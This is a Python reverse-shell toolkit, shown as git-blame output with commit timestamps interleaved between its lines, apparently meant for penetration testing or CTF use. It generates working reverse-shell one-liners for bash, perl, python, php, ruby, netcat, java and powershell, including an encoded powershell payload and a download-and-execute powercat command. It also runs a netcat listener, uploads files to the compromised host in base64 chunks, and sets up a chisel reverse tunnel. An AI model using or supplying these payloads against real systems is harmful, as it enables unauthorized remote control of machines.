2020-01-28 22:15:42 +01:00
|
|
|
#!/usr/bin/python
|
|
|
|
|
|
|
|
import socket
|
2022-01-23 22:09:12 +01:00
|
|
|
import os
|
2020-01-28 22:15:42 +01:00
|
|
|
import sys
|
2020-08-28 23:04:41 +02:00
|
|
|
import pty
|
2021-05-12 15:58:19 +02:00
|
|
|
import util
|
2021-06-11 12:44:35 +02:00
|
|
|
import time
|
2022-01-14 16:40:17 +01:00
|
|
|
import random
|
2021-06-11 12:44:35 +02:00
|
|
|
import threading
|
2022-01-23 22:09:12 +01:00
|
|
|
import paramiko
|
2021-08-28 13:41:46 +02:00
|
|
|
import readline
|
2021-10-11 17:08:44 +02:00
|
|
|
import base64
|
2020-01-28 22:15:42 +01:00
|
|
|
|
2021-10-27 13:08:14 +02:00
|
|
|
class ShellListener:
|
|
|
|
|
|
|
|
def __init__(self, addr, port):
|
|
|
|
self.listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
|
|
self.bind_addr = addr
|
|
|
|
self.port = port
|
2022-01-17 13:06:45 +01:00
|
|
|
self.verbose = False
|
2022-01-23 22:09:12 +01:00
|
|
|
self.on_message = []
|
2021-10-27 13:08:14 +02:00
|
|
|
self.listen_thread = None
|
|
|
|
self.connection = None
|
2022-01-17 13:06:45 +01:00
|
|
|
self.on_connect = None
|
2022-01-23 22:09:12 +01:00
|
|
|
self.features = set()
|
2021-10-27 13:08:14 +02:00
|
|
|
|
|
|
|
def startBackground(self):
|
|
|
|
self.listen_thread = threading.Thread(target=self.start)
|
|
|
|
self.listen_thread.start()
|
|
|
|
return self.listen_thread
|
|
|
|
|
2022-01-23 22:09:12 +01:00
|
|
|
def has_feature(self, feature):
|
|
|
|
return feature.lower() in self.features
|
|
|
|
|
|
|
|
def probe_features(self):
|
|
|
|
features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"]
|
|
|
|
for feature in features:
|
|
|
|
output = self.exec_sync("whereis " + feature)
|
|
|
|
if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2:
|
|
|
|
self.features.add(feature.lower())
|
|
|
|
|
|
|
|
def get_features(self):
|
|
|
|
return self.features
|
|
|
|
|
2021-10-27 13:08:14 +02:00
|
|
|
def start(self):
|
|
|
|
self.running = True
|
2022-01-17 13:06:45 +01:00
|
|
|
self.listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
2021-10-27 13:08:14 +02:00
|
|
|
self.listen_socket.bind((self.bind_addr, self.port))
|
|
|
|
self.listen_socket.listen()
|
|
|
|
while self.running:
|
|
|
|
self.connection, addr = self.listen_socket.accept()
|
|
|
|
with self.connection:
|
|
|
|
print("[+] Got connection:", addr)
|
2022-01-17 13:06:45 +01:00
|
|
|
|
|
|
|
if self.on_connect:
|
|
|
|
self.on_connect(addr)
|
|
|
|
|
2021-10-27 13:08:14 +02:00
|
|
|
while self.running:
|
|
|
|
data = self.connection.recv(1024)
|
|
|
|
if not data:
|
|
|
|
break
|
2022-01-17 13:06:45 +01:00
|
|
|
if self.verbose:
|
|
|
|
print("< ", data)
|
2022-01-23 22:09:12 +01:00
|
|
|
for callback in self.on_message:
|
|
|
|
callback(data)
|
2021-10-27 13:08:14 +02:00
|
|
|
|
|
|
|
print("[-] Disconnected")
|
|
|
|
self.connection = None
|
|
|
|
|
|
|
|
def close(self):
|
|
|
|
self.running = False
|
|
|
|
self.sendline("exit")
|
|
|
|
self.listen_socket.close()
|
|
|
|
|
|
|
|
def send(self, data):
|
|
|
|
if self.connection:
|
|
|
|
if isinstance(data, str):
|
|
|
|
data = data.encode()
|
2022-01-17 13:06:45 +01:00
|
|
|
|
|
|
|
if self.verbose:
|
|
|
|
print("> ", data)
|
|
|
|
|
2021-10-27 13:08:14 +02:00
|
|
|
self.connection.sendall(data)
|
|
|
|
|
|
|
|
def sendline(self, data):
|
|
|
|
if isinstance(data, str):
|
|
|
|
data = data.encode()
|
|
|
|
data += b"\n"
|
|
|
|
return self.send(data)
|
|
|
|
|
2022-01-23 22:09:12 +01:00
|
|
|
def exec_sync(self, cmd):
|
|
|
|
output = b""
|
|
|
|
complete = False
|
|
|
|
|
|
|
|
if isinstance(cmd, str):
|
|
|
|
cmd = cmd.encode()
|
|
|
|
|
|
|
|
def callback(data):
|
|
|
|
nonlocal output
|
|
|
|
nonlocal complete
|
|
|
|
|
|
|
|
if complete:
|
|
|
|
return
|
|
|
|
|
|
|
|
output += data
|
|
|
|
if data.endswith(b"# ") or data.endswith(b"$ "):
|
|
|
|
complete = True
|
|
|
|
if b"\n" in output:
|
|
|
|
output = output[0:output.rindex(b"\n")]
|
|
|
|
if output.startswith(cmd + b"\n"):
|
|
|
|
output = output[len(cmd)+1:]
|
|
|
|
|
|
|
|
self.on_message.append(callback)
|
|
|
|
self.sendline(cmd)
|
|
|
|
while not complete:
|
|
|
|
time.sleep(0.1)
|
|
|
|
|
|
|
|
self.on_message.remove(callback)
|
|
|
|
return output
|
|
|
|
|
2021-10-27 13:08:14 +02:00
|
|
|
def print_message(self, data):
|
|
|
|
sys.stdout.write(data.decode())
|
|
|
|
sys.stdout.flush()
|
|
|
|
|
|
|
|
def interactive(self):
|
2022-01-23 22:09:12 +01:00
|
|
|
self.on_message.append(lambda x: self.print_message(x))
|
2021-10-27 13:08:14 +02:00
|
|
|
while self.running and self.connection is not None:
|
|
|
|
self.sendline(input())
|
|
|
|
|
2022-01-17 13:06:45 +01:00
|
|
|
def wait(self):
|
|
|
|
while self.running and self.connection is None:
|
|
|
|
time.sleep(0.1)
|
|
|
|
return self.running
|
|
|
|
|
2022-01-23 22:09:12 +01:00
|
|
|
def write_file(self, path, data_or_fd, permissions=None):
|
|
|
|
|
|
|
|
def write_chunk(chunk, first=False):
|
|
|
|
# assume this is unix
|
|
|
|
chunk = base64.b64encode(chunk).decode()
|
|
|
|
operator = ">" if first else ">>"
|
|
|
|
self.sendline(f"echo {chunk}|base64 -d {operator} {path}")
|
|
|
|
|
|
|
|
chunk_size = 1024
|
|
|
|
if hasattr(data_or_fd, "read"):
|
|
|
|
first = True
|
|
|
|
while True:
|
|
|
|
data = data_or_fd.read(chunk_size)
|
|
|
|
if not data:
|
|
|
|
break
|
|
|
|
if isinstance(data, str):
|
|
|
|
data = data.encode()
|
|
|
|
write_chunk(data, first)
|
|
|
|
first = False
|
|
|
|
data_or_fd.close()
|
|
|
|
else:
|
|
|
|
if isinstance(data_or_fd, str):
|
|
|
|
data_or_fd = data_or_fd.encode()
|
|
|
|
for offset in range(0, len(data_or_fd), chunk_size):
|
|
|
|
write_chunk(data_or_fd[offset:chunk_size], offset == 0)
|
|
|
|
|
|
|
|
if permissions:
|
|
|
|
self.sendline(f"chmod {permissions} {path}")
|
|
|
|
|
|
|
|
def generate_payload(type, local_address, port, index=None):
|
2021-12-08 17:50:48 +01:00
|
|
|
|
|
|
|
commands = []
|
2020-01-28 22:15:42 +01:00
|
|
|
|
|
|
|
if type == "bash":
|
2021-12-08 17:50:48 +01:00
|
|
|
commands.append(f"bash -i >& /dev/tcp/{local_address}/{port} 0>&1")
|
2020-01-28 22:15:42 +01:00
|
|
|
elif type == "perl":
|
2021-12-08 17:50:48 +01:00
|
|
|
commands.append(f"perl -e 'use Socket;$i=\"{local_address}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");}};'")
|
|
|
|
commands.append(f"perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"{local_address}:{port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'")
|
2020-01-28 22:15:42 +01:00
|
|
|
elif type == "python" or type == "python2" or type == "python3":
|
|
|
|
binary = type
|
2021-12-08 17:50:48 +01:00
|
|
|
commands.append(f"{binary} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_address}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'")
|
2020-01-28 22:15:42 +01:00
|
|
|
elif type == "php":
|
2021-12-08 17:50:48 +01:00
|
|
|
commands.append(f"php -r '$sock=fsockopen(\"{local_address}\",{port});exec(\"/bin/bash -i <&3 >&3 2>&3\");'")
|
2020-01-28 22:15:42 +01:00
|
|
|
elif type == "ruby":
|
2021-12-08 17:50:48 +01:00
|
|
|
commands.append(f"ruby -rsocket -e'f=TCPSocket.open(\"{local_address}\",{port}).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'")
|
2020-02-06 21:17:45 +01:00
|
|
|
elif type == "netcat" or type == "nc":
|
2021-12-08 17:50:48 +01:00
|
|
|
commands.append(f"nc -e /bin/bash {local_address} {port}")
|
|
|
|
commands.append(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {local_address} {port} >/tmp/f")
|
2020-01-28 22:15:42 +01:00
|
|
|
elif type == "java":
|
2021-12-08 17:50:48 +01:00
|
|
|
commands.append(f"r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/{local_address}/{port};cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()")
|
2020-01-28 22:15:42 +01:00
|
|
|
elif type == "xterm":
|
2021-12-08 17:50:48 +01:00
|
|
|
commands.append(f"xterm -display {local_address}:1")
|
2021-10-11 17:08:44 +02:00
|
|
|
elif type == "powercat":
|
2020-04-09 16:06:08 +02:00
|
|
|
return "powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\"" % (local_address, local_address, port)
|
2021-10-11 17:08:44 +02:00
|
|
|
elif type == "powershell":
|
|
|
|
payload = '$a=New-Object System.Net.Sockets.TCPClient("%s",%d);$d=$a.GetStream();[byte[]]$k=0..65535|%%{0};while(($i=$d.Read($k,0,$k.Length)) -ne 0){;$o=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($k,0,$i);$q=(iex $o 2>&1|Out-String);$c=$q+"$ ";$b=([text.encoding]::ASCII).GetBytes($c);$d.Write($b,0,$b.Length);$d.Flush()};$a.Close();' % (local_address, port)
|
|
|
|
payload_encoded = base64.b64encode(payload.encode("UTF-16LE")).decode()
|
|
|
|
return f"powershell.exe -exec bypass -enc {payload_encoded}"
|
2021-12-08 17:50:48 +01:00
|
|
|
else:
|
|
|
|
return None
|
|
|
|
|
|
|
|
if index is None or index < 0 or index >= len(commands):
|
|
|
|
return "\n".join(commands)
|
|
|
|
else:
|
|
|
|
return commands[index]
|
2020-01-28 22:15:42 +01:00
|
|
|
|
2021-10-25 17:25:49 +02:00
|
|
|
def spawn_listener(port):
|
|
|
|
pty.spawn(["nc", "-lvvp", str(port)])
|
|
|
|
|
2022-01-23 22:09:12 +01:00
|
|
|
def trigger_shell(func, port):
|
2021-06-11 12:44:35 +02:00
|
|
|
def _wait_and_exec():
|
|
|
|
time.sleep(1.5)
|
|
|
|
func()
|
|
|
|
|
|
|
|
threading.Thread(target=_wait_and_exec).start()
|
2021-10-25 17:25:49 +02:00
|
|
|
spawn_listener(port)
|
2021-05-14 16:49:49 +02:00
|
|
|
|
2022-01-23 22:09:12 +01:00
|
|
|
def trigger_background_shell(func, port):
|
2021-10-27 13:08:14 +02:00
|
|
|
listener = ShellListener("0.0.0.0", port)
|
|
|
|
listener.startBackground()
|
|
|
|
threading.Thread(target=func).start()
|
|
|
|
while listener.connection is None:
|
|
|
|
time.sleep(0.5)
|
|
|
|
return listener
|
2021-05-14 16:49:49 +02:00
|
|
|
|
2022-01-23 22:09:12 +01:00
|
|
|
def create_tunnel(shell, ports: list):
|
|
|
|
if len(ports) == 0:
|
|
|
|
print("[-] Need at least one port to tunnel")
|
|
|
|
return
|
|
|
|
|
|
|
|
# TODO: ports
|
|
|
|
|
|
|
|
if isinstance(shell, ShellListener):
|
|
|
|
# TODO: if chisel has not been transmitted yet
|
|
|
|
# we need a exec sync function, but this requires guessing when the output ended or we need to know the shell prompt
|
|
|
|
ipAddress = util.get_address()
|
|
|
|
chiselPort = 3000
|
|
|
|
chisel_path = os.path.join(os.path.dirname(__file__), "chisel64")
|
|
|
|
shell.write_file("/tmp/chisel64", open(chisel_path, "rb"))
|
|
|
|
shell.sendline("chmod +x /tmp/chisel64")
|
|
|
|
|
|
|
|
t = threading.Thread(target=os.system, args=(f"{chisel_path} server --port {chisel_port} --reverse", ))
|
|
|
|
t.start()
|
|
|
|
|
|
|
|
shell.sendline(f"/tmp/chisel64 client --max-retry-count 1 {ipAddress}:{chiselPort} {ports} 2>&1 >/dev/null &")
|
|
|
|
elif isinstance(shell, paramiko.SSHClient):
|
|
|
|
# TODO: https://github.com/paramiko/paramiko/blob/88f35a537428e430f7f26eee8026715e357b55d6/demos/forward.py#L103
|
|
|
|
pass
|
|
|
|
|
2020-01-28 22:15:42 +01:00
|
|
|
if __name__ == "__main__":
|
|
|
|
|
2020-06-02 14:15:03 +02:00
|
|
|
if len(sys.argv) < 2:
|
|
|
|
print("Usage: %s <type> [port]" % sys.argv[0])
|
2020-01-28 22:15:42 +01:00
|
|
|
exit(1)
|
|
|
|
|
2020-06-02 14:15:03 +02:00
|
|
|
listen_port = None if len(sys.argv) < 3 else int(sys.argv[2])
|
2020-01-28 22:15:42 +01:00
|
|
|
payload_type = sys.argv[1].lower()
|
|
|
|
|
2022-01-23 22:09:12 +01:00
|
|
|
local_address = util.get_address()
|
2020-06-02 14:15:03 +02:00
|
|
|
|
|
|
|
# choose random port
|
|
|
|
if listen_port is None:
|
2022-01-14 16:40:17 +01:00
|
|
|
listen_port = random.randint(10000,65535)
|
|
|
|
while util.isPortInUse(listen_port):
|
|
|
|
listen_port = random.randint(10000,65535)
|
2020-06-02 14:15:03 +02:00
|
|
|
|
2022-01-23 22:09:12 +01:00
|
|
|
payload = generate_payload(payload_type, local_address, listen_port)
|
2020-01-28 22:15:42 +01:00
|
|
|
|
|
|
|
if payload is None:
|
|
|
|
print("Unknown payload type: %s" % payload_type)
|
2020-04-09 10:36:28 +02:00
|
|
|
print("Supported types: bash, perl, python[2|3], php, ruby, netcat|nc, java, xterm, powershell")
|
2020-01-28 22:15:42 +01:00
|
|
|
exit(1)
|
|
|
|
|
2020-02-06 23:27:29 +01:00
|
|
|
tty = "python -c 'import pty; pty.spawn(\"/bin/bash\")'"
|
2020-02-06 21:17:45 +01:00
|
|
|
print("---PAYLOAD---\n%s\n---TTY---\n%s\n---------\n" % (payload, tty))
|
2020-01-28 22:15:42 +01:00
|
|
|
|
|
|
|
if payload_type == "xterm":
|
|
|
|
print("You need to run the following commands (not tested):")
|
|
|
|
print("xhost +targetip")
|
|
|
|
print("Xnest :1")
|
|
|
|
else:
|
2020-08-28 23:04:41 +02:00
|
|
|
pty.spawn(["nc", "-lvvp", str(listen_port)])
|